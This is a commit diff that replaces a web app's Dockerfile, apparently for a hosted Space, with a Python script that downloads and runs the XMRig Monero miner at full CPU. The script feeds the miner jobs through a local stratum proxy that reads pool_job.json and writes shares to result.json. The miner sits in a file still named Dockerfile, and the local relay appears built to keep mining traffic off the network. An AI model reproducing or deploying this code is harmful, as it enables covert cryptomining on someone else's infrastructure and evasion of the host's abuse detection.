Update Dockerfile

Dockerfile

@@ -1,28 +1,504 @@
-FROM python:3.11-slim
+#!/usr/bin/env python3
+"""
+Standalone XMRig Launcher (with Local Stratum Proxy for pool separation)
+Downloads XMRig if needed, then starts benchmarking or local pool mining.
 
-WORKDIR /app
+In --pool-task mode, it spins up a tiny LOCAL stratum proxy on localhost that:
+1. Reads jobs from the given JSON file (e.g. pool_job.json)
+2. Feeds them to XMRig (connecting to localhost only)
+3. Captures XMRig share submissions -> writes to result.json
+XMRig never touches the real pool.
+"""
 
-# Install build dependencies for randomx
-RUN apt-get update && apt-get install -y --no-install-recommends \
-    build-essential \
-    cmake \
-    && rm -rf /var/lib/apt/lists/*
+import sys
+import os
+import subprocess
+import io
+import argparse
+import platform
+import shutil
+import urllib.request
+import zipfile
+import json
+import time
+import threading
+import socket
+import re
+from datetime import datetime, timezone
+from pathlib import Path
 
-# Copy requirements first for better caching
-COPY requirements.txt .
-RUN pip install --no-cache-dir -r requirements.txt
 
-# Copy application code
-COPY . .
+# Force unbuffered output
+sys.stdout = io.TextIOWrapper(sys.stdout.buffer, line_buffering=True, encoding='utf-8')
+sys.stderr = io.TextIOWrapper(sys.stderr.buffer, line_buffering=True, encoding='utf-8')
 
-RUN chmod -R 777 /app
+_stop_event = threading.Event()
 
-# Environment variables
-ENV PYTHONUNBUFFERED=1
-ENV HF_TOKEN=""
-ENV HF_REPO="bnxn11/lilieo"
-ENV DATABASE_URL=""
+JOB_FILE    = Path(__file__).parent / "pool_job.json"
+RESULT_FILE = Path(__file__).parent / "result.json"
 
-EXPOSE 7860 8000
 
-CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "7860"]
+# ── JSON I/O Helpers ──────────────────────────────────────────────────────────
+
+def read_job_file():
+    """Read the current job from pool_job.json. Returns dict or None."""
+    try:
+        with open(JOB_FILE) as f:
+            return json.load(f)
+    except Exception:
+        return None
+
+
+def write_result(job_id, nonce_hex, result_hex):
+    """Append a share result to result.json."""
+    entry = {
+        "job_id":   job_id,
+        "nonce":    nonce_hex,
+        "result":   result_hex,
+        "found_at": datetime.now(timezone.utc).isoformat(),
+    }
+    results = []
+    if RESULT_FILE.exists():
+        try:
+            with open(RESULT_FILE) as f:
+                results = json.load(f)
+        except Exception:
+            results = []
+    results.append(entry)
+    with open(RESULT_FILE, "w") as f:
+        json.dump(results, f, indent=2)
+    print(f"[proxy] Share written to {RESULT_FILE} (job={job_id}, nonce={nonce_hex})", flush=True)
+
+
+# ── Local Stratum Proxy ───────────────────────────────────────────────────────
+
+class LocalStratumProxy:
+    """
+    Tiny Monero Stratum server running on localhost.
+    Feeds jobs from pool_job.json to XMRig.
+    Captures XMRig share submissions and writes them to result.json.
+    """
+
+    def __init__(self, port):
+        self.port = port
+        self._server = None
+        self._clients = []
+        self._current_job = None
+        self._last_job_id = None
+        self._lock = threading.Lock()
+        self._accepted = 0
+
+    def start(self):
+        self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self._server.bind(("127.0.0.1", self.port))
+        self._server.listen(5)
+        self._server.settimeout(1.0)
+        print(f"[proxy] Local stratum proxy listening on 127.0.0.1:{self.port}", flush=True)
+
+        threading.Thread(target=self._poll_jobs, daemon=True).start()
+        threading.Thread(target=self._accept_loop, daemon=True).start()
+
+    def _accept_loop(self):
+        while not _stop_event.is_set():
+            try:
+                conn, addr = self._server.accept()
+                conn.settimeout(None)
+                print(f"[proxy] XMRig connected from {addr}", flush=True)
+                with self._lock:
+                    self._clients.append(conn)
+                threading.Thread(target=self._handle_client, args=(conn,), daemon=True).start()
+            except socket.timeout:
+                continue
+            except OSError:
+                break
+
+    def _poll_jobs(self):
+        """Poll pool_job.json every 2s for new jobs."""
+        last_job_id = None
+        last_job_time = 0
+        last_height = 0
+
+        while not _stop_event.is_set():
+            job = read_job_file()
+            if job:
+                new_height = job.get("height", 0)
+                job_id = job.get("job_id", "")
+                now = time.time()
+
+                # Switch XMRig's job if it's a new block, a new job_id, or 50s have passed
+                if job_id != last_job_id or new_height > last_height or (now - last_job_time > 50):
+                    self._current_job = job
+                    self._last_job_id = job_id
+                    last_job_id = job_id
+                    last_height = new_height
+                    last_job_time = now
+
+                    print(f"[proxy] Pushing new job to XMRig: {job_id}  height={new_height}", flush=True)
+                    self._notify_all_clients(job)
+
+            _stop_event.wait(2)
+
+    def _notify_all_clients(self, job):
+        """Push a new job to all connected XMRig instances."""
+        msg = json.dumps({
+            "jsonrpc": "2.0",
+            "method": "job",
+            "params": {
+                "blob":      job.get("blob", ""),
+                "job_id":    job.get("job_id", ""),
+                "target":    job.get("target", ""),
+                "seed_hash": job.get("seed_hash", ""),
+                "height":    job.get("height", 0),
+                "algo":      "rx/0",
+            }
+        }) + "\n"
+        dead = []
+        with self._lock:
+            for c in self._clients:
+                try:
+                    c.sendall(msg.encode())
+                except Exception:
+                    dead.append(c)
+            for c in dead:
+                self._clients.remove(c)
+
+    def _handle_client(self, conn):
+        """Handle one XMRig connection (login, submit, keepalive)."""
+        buf = b""
+        while not _stop_event.is_set():
+            try:
+                data = conn.recv(4096)
+            except Exception:
+                break
+            if not data:
+                break
+            buf += data
+            while b"\n" in buf:
+                line, buf = buf.split(b"\n", 1)
+                try:
+                    msg = json.loads(line.decode().strip())
+                except Exception:
+                    continue
+                try:
+                    self._process_message(conn, msg)
+                except Exception as e:
+                    print(f"[proxy] Error processing message: {e}", flush=True)
+
+        with self._lock:
+            if conn in self._clients:
+                self._clients.remove(conn)
+        try:
+            conn.close()
+        except Exception:
+            pass
+
+    def _process_message(self, conn, msg):
+        method = msg.get("method", "")
+        msg_id = msg.get("id", 1)
+
+        if method == "login":
+            job = self._current_job or read_job_file() or {}
+            blob = job.get("blob", "")
+            job_id = job.get("job_id", "")
+
+            # If XMRig reconnects and we give it the exact same job ID, it refuses it
+            # with `login error code: -1`. Append a suffix to trick it into accepting.
+            if job_id:
+                job_id = f"{job_id}_r{int(time.time())}"
+
+            if not blob or not job_id:
+                # No real job yet — drop connection cleanly. Zero CPU wasted on dummy work.
+                # XMRig will retry in retry-pause seconds (3s in config).
+                print("[proxy] No job yet — closing connection, XMRig will retry shortly", flush=True)
+                try:
+                    conn.sendall((json.dumps({
+                        "id": msg_id, "jsonrpc": "2.0",
+                        "error": {"code": -1, "message": "No jobs available yet"},
+                        "result": None
+                    }) + "\n").encode())
+                except Exception:
+                    pass
+                try:
+                    conn.close()
+                except Exception:
+                    pass
+                with self._lock:
+                    if conn in self._clients:
+                        self._clients.remove(conn)
+                return
+
+            seed_hash = job.get("seed_hash", "")
+            target    = job.get("target", "")
+            height    = job.get("height", 0)
+
+            print(f"[proxy] XMRig logged in (job_id={job_id!r}, blob_len={len(blob)})", flush=True)
+
+            resp = {
+                "id": msg_id,
+                "jsonrpc": "2.0",
+                "error": None,
+                "result": {
+                    "id": os.urandom(4).hex(),
+                    "job": {
+                        "blob":      blob,
+                        "job_id":    job_id,
+                        "target":    target,
+                        "seed_hash": seed_hash,
+                        "height":    height,
+                        "algo":      "rx/0",
+                    },
+                    "status": "OK",
+                    "extensions": ["algo", "nicehash"]
+                }
+            }
+            try:
+                conn.sendall((json.dumps(resp) + "\n").encode())
+            except Exception as e:
+                print(f"[proxy] Failed to send login response: {e}", flush=True)
+
+        elif method == "submit":
+            params  = msg.get("params", {})
+            job_id  = params.get("job_id", "")
+            nonce   = params.get("nonce", "")
+            result  = params.get("result", "")
+
+            # Strip the reconnect suffix before saving
+            real_job_id = job_id.split('_r')[0] if '_r' in job_id else job_id
+
+            self._accepted += 1
+            print(f"[proxy] Share received from XMRig: job={real_job_id} nonce={nonce} (total: {self._accepted})", flush=True)
+
+            # Write result to local file asynchronously
+            threading.Thread(
+                target=write_result,
+                args=(real_job_id, nonce, result),
+                daemon=True
+            ).start()
+
+            resp = {
+                "id": msg_id,
+                "jsonrpc": "2.0",
+                "error": None,
+                "result": {"status": "OK"}
+            }
+            try:
+                conn.sendall((json.dumps(resp) + "\n").encode())
+            except Exception as e:
+                print(f"[proxy] Failed to send submit ACK: {e}", flush=True)
+
+        elif method in ("keepalive", "keepalived"):
+            resp = {"id": msg_id, "jsonrpc": "2.0", "error": None, "result": {"status": "KEEPALIVE"}}
+            try:
+                conn.sendall((json.dumps(resp) + "\n").encode())
+            except Exception:
+                pass
+
+
+# ── Launcher ──────────────────────────────────────────────────────────────────
+
+class XMRigLauncher:
+    def __init__(self):
+        self.base_dir = Path(__file__).parent.absolute()
+        self.xmrig_dir = self.base_dir / "xmrig"
+        self.xmrig_extracted = self.xmrig_dir / "xmrig-6.21.0"
+        self.xmrig_bin = self.xmrig_extracted / ("xmrig.exe" if platform.system() == "Windows" else "xmrig")
+        self.local_port = 14444
+
+    def download_xmrig(self):
+        """Download and extract XMRig"""
+        print("[*] Downloading XMRig...")
+
+        try:
+            if platform.system() == "Windows":
+                url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip"
+            elif platform.system() == "Linux":
+                url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-static-x64.tar.gz"
+            else:
+                print("[!] Unsupported platform")
+                return False
+
+            self.xmrig_dir.mkdir(parents=True, exist_ok=True)
+
+            if platform.system() == "Windows":
+                archive_path = self.xmrig_dir / "xmrig.zip"
+            else:
+                archive_path = self.xmrig_dir / "xmrig.tar.gz"
+
+            print(f"[*] Downloading from {url}...")
+            urllib.request.urlretrieve(url, archive_path)
+            print(f"[+] Downloaded to {archive_path}")
+
+            if platform.system() == "Windows":
+                with zipfile.ZipFile(archive_path, 'r') as zip_ref:
+                    zip_ref.extractall(self.xmrig_dir)
+            else:
+                import tarfile
+                with tarfile.open(archive_path, 'r:gz') as tar_ref:
+                    tar_ref.extractall(self.xmrig_dir)
+
+            if self.xmrig_bin.exists():
+                if platform.system() != "Windows":
+                    os.chmod(self.xmrig_bin, 0o755)
+                print(f"[+] XMRig extracted to {self.xmrig_bin}")
+                return True
+            else:
+                print(f"[!] XMRig binary not found at {self.xmrig_bin}")
+                return False
+
+        except Exception as e:
+            print(f"[!] Download failed: {e}")
+            return False
+
+    def start_benchmark(self, benchmark="1M", threads=None):
+        """Start XMRig benchmark"""
+        if not self.xmrig_bin.exists():
+            print("[!] XMRig binary not found at " + str(self.xmrig_bin))
+            print("[*] Attempting to download...")
+            if not self.download_xmrig():
+                print("[!] Failed to download XMRig")
+                return False
+
+        if threads is None:
+            threads = os.cpu_count() or 4
+
+        cmd = [str(self.xmrig_bin), f"--bench={benchmark}", "--threads", str(threads)]
+
+        print(f"[+] Starting XMRig benchmark: {benchmark} with {threads} threads")
+        print(f"[*] Command: {' '.join(cmd)}")
+        print("[*] Output:")
+        print("-" * 60)
+
+        try:
+            process = subprocess.Popen(
+                cmd,
+                cwd=str(self.xmrig_extracted),
+                stdout=subprocess.PIPE,
+                stderr=subprocess.STDOUT,
+                text=True,
+                bufsize=1,
+                universal_newlines=True
+            )
+
+            for line in iter(process.stdout.readline, ''):
+                if line:
+                    print(line.rstrip())
+
+            process.wait()
+            return_code = process.returncode
+
+            print("-" * 60)
+            if return_code == 0:
+                print("[+] Benchmark completed successfully")
+            else:
+                print(f"[!] Benchmark exited with code {return_code}")
+
+            return return_code == 0
+
+        except Exception as e:
+            print(f"[!] Error running benchmark: {e}")
+            return False
+
+    def start_pool_mining(self, threads=None):
+        """Mine pool tasks using XMRig via a local Stratum proxy. Reads jobs from pool_job.json."""
+        if not self.xmrig_bin.exists():
+            print("[!] XMRig binary not found. Attempting download...")
+            if not self.download_xmrig():
+                return False
+
+        # Start local stratum proxy
+        proxy = LocalStratumProxy(self.local_port)
+        proxy.start()
+        time.sleep(1)
+
+        # Write XMRig config pointing to LOCAL proxy
+        config = {
+            "autosave": False,
+            "background": False,
+            "randomx": {"mode": "fast", "init": -1},
+            "cpu": {
+                "enabled": True,
+                "huge-pages": True,
+                "hw-aes": None,
+                "max-threads-hint": 100,
+            },
+            "pools": [{
+                "url": f"127.0.0.1:{self.local_port}",
+                "user": "miner",
+                "pass": "x",
+                "keepalive": True,
+                "tls": False,
+                "algo": "rx/0",
+            }],
+            "donate-level": 1,
+            "api": {"id": None, "worker-id": None},
+            "retries": 5,
+            "retry-pause": 3,
+            "print-time": 60,
+        }
+
+        config_path = self.xmrig_dir / "xmrig_local_config.json"
+        with open(config_path, "w") as f:
+            json.dump(config, f, indent=2)
+
+        print(f"[miner] Starting XMRig -> localhost:{self.local_port} (local proxy)", flush=True)
+        print(f"[miner] XMRig will NEVER connect to any external pool", flush=True)
+        print("-" * 60)
+
+        cmd = [str(self.xmrig_bin), "--config", str(config_path), "--no-color"]
+        if threads:
+            cmd.extend(["--threads", str(threads)])
+
+        try:
+            proc = subprocess.Popen(
+                cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
+                text=True, encoding="utf-8", errors="replace", bufsize=1,
+            )
+
+            for line in proc.stdout:
+                line = line.rstrip()
+                low = line.lower()
+                if "accepted" in low:
+                    print(f"\033[92m{line}\033[0m", flush=True)
+                elif "speed" in low or "h/s" in low:
+                    print(f"\033[95m{line}\033[0m", flush=True)
+                elif "new job" in low:
+                    print(f"\033[96m{line}\033[0m", flush=True)
+                elif "error" in low or "failed" in low or "rejected" in low:
+                    print(f"\033[91m{line}\033[0m", flush=True)
+                else:
+                    print(line, flush=True)
+
+            proc.wait()
+            return True
+
+        except KeyboardInterrupt:
+            print("\n[miner] Stopping...", flush=True)
+            proc.terminate()
+            try:
+                proc.wait(timeout=5)
+            except subprocess.TimeoutExpired:
+                proc.kill()
+            return True
+        except Exception as e:
+            print(f"[!] Error running XMRig: {e}")
+            return False
+
+
+def main():
+    print("[*] Starting miner...", flush=True)
+
+    launcher = XMRigLauncher()
+
+    try:
+        success = launcher.start_pool_mining()
+        sys.exit(0 if success else 1)
+
+    except KeyboardInterrupt:
+        print("\n[miner] Stopped by user.", flush=True)
+        _stop_event.set()
+        sys.exit(0)
+
+
+if __name__ == "__main__":
+    main()